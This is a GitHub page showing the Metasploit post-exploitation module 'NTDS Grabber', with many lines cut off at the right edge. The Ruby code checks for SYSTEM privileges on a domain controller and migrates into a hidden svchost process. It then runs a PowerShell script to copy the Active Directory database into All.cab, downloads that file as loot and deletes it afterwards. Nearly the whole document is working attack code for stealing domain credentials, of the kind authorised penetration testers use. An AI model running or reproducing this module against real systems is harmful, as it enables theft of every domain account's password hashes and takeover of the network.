Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

rapid7 / metasploit-framework Public

Notifications Fork 14k Star 34.1k

Code Issues 410 Pull requests 43 Discussions Actions Projects 1 Wiki Security Insights

Files

eb65350

Go to file

- .github
- app
- config
- data
- db
- docker
- docs
- documentation
- external
- kubernetes
- lib
- modules
  - auxiliary
  - encoders
  - evasion
  - exploits
  - nops
  - payloads
  - post
    - aix
    - android
    - apple_ios
    - bsd
    - firefox
    - hardware
    - linux
    - multi
    - networking
    - osx
    - solaris
    - windows
      - capture
      - escalate
      - gather
        - credentials
        - forensics

metasploit-framework / modules / post / windows / gather / ntds_grabber.rb

adfoster-r7 Specify meterpreter compatibility command requirements 059e39a · 3 years ago History

Code Blame 177 lines (161 loc) · 5.16 KB Raw

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Powershell
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry
  include Msf::Post::File
  include Msf::Post::Common

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NTDS Grabber',
        'Description' => %q(This module uses a powershell script to obtain a copy of th
                            It compresses all these files in a cabinet file called All.
        'License' => MSF_LICENSE,
        'Author' => ['Koen Riepe (koen.riepe@fox-it.com)'],
        'References' => [''],
        'Platform' => [ 'win' ],
        'Arch' => [ 'x86', 'x64' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              core_migrate
              stdapi_railgun_api
              stdapi_sys_process_execute
              stdapi_sys_process_getpid
            ]
          }
        }
      )
    )

    register_options(
      [
        OptBool.new('DOWNLOAD', [ true, 'Immediately download the All.cab file', true ]
        OptBool.new('CLEANUP', [ true, 'Remove the All.cab file at the end of module ex
      ],
      self.class
    )
  end

  def dc_check
    is_dc_srv = false
    serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
    if registry_enumkeys(serviceskey).include?("NTDS")
      if registry_enumkeys("#{serviceskey}\\NTDS").include?("Parameters")
        is_dc_srv = true
      end
    end
    return is_dc_srv
```

- ad_to_sqlite.rb
- arp_scanner.rb
- avast_memory_dump.rb
- bitcoin_jacker.rb
- bitlocker_fvek.rb
- bloodhound.rb

```
  end

  def task_running(task)
    session.shell_write("tasklist \n")
    tasklist = session.shell_read(-1, 10).split("\n")
    tasklist.each do |prog|
      if prog.include? task
        session.shell_close
        return true
      end
    end
    return false
  end

  def check_32_on_64
    apicall = session.railgun.kernel32.IsWow64Process(-1, 4)["Wow64Process"]
    # railgun returns '\x00\x00\x00\x00' if the meterpreter process is 64bits.
    if apicall == "\x00\x00\x00\x00"
      migrate = false
    else
      migrate = true
    end
    return migrate
  end

  def get_windows_loc
    apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir", 255, 255)["lpB
    windir = apicall.split(":")[0]
    return windir
  end

  def run
    downloadflag = datastore['DOWNLOAD']
    cleanupflag = datastore['CLEANUP']

    if is_system?
      print_good('Running as SYSTEM')
    else
      print_error('Not running as SYSTEM, you need to be system to run this module! STO
      return
    end

    if not dc_check
      print_error('Not running on a domain controller, you need run this module on a do
      return
    else
      print_good('Running on a domain controller')
    end

    if have_powershell?
      print_good('PowerShell is installed.')
    else
      print_error('PowerShell is not installed! STOPPING')
      return
    end

    if check_32_on_64
      print_error('The meterpreter is not the same architecture as the OS! Migrating to
      windir = get_windows_loc
      newproc = "#{windir}:\\windows\\sysnative\\svchost.exe"
      if exist?(newproc)
        print_status("Starting new x64 process #{newproc}")
        pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended'
        print_good("Got pid #{pid}")
        print_status('Migrating..')
        session.core.migrate(pid)
        if pid == session.sys.process.getpid
          print_good('Success!')
        else
          print_error('Migration failed!')
        end
      end
    else
      print_good('The meterpreter is the same architecture as the OS!')
    end
```

```ruby

    base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell",
    execute_script(base_script)
    print_status('Powershell Script executed')
    cabcount = 0

    while cabcount < 2
      if task_running("makecab.exe")
        cabcount += 1
        while cabcount < 2
          print_status('Creating All.cab')
          if not task_running("makecab.exe")
            cabcount += 1
            while not file_exist?("All.cab")
              sleep(1)
              print_status('Waiting for All.cab')
            end
            print_good('All.cab should be created in the current working directory')
          end
          sleep(1)
        end
      end
      sleep(1)
    end

    if downloadflag
      print_status('Downloading All.cab')
      p1 = store_loot('Cabinet File', 'application/cab', session, read_file("All.cab"),
      print_good("All.cab saved in: #{p1}")
    end

    if cleanupflag
      print_status('Removing All.cab')
      begin
        file_rm('All.cab')
      rescue
        print_error('Problem with removing All.cab. Manually check if it\'s still there
      end
      if not file_exist?("All.cab")
        print_good('All.cab Removed')
      else
        print_error('All.cab was not removed')
      end
    end
  end
end
```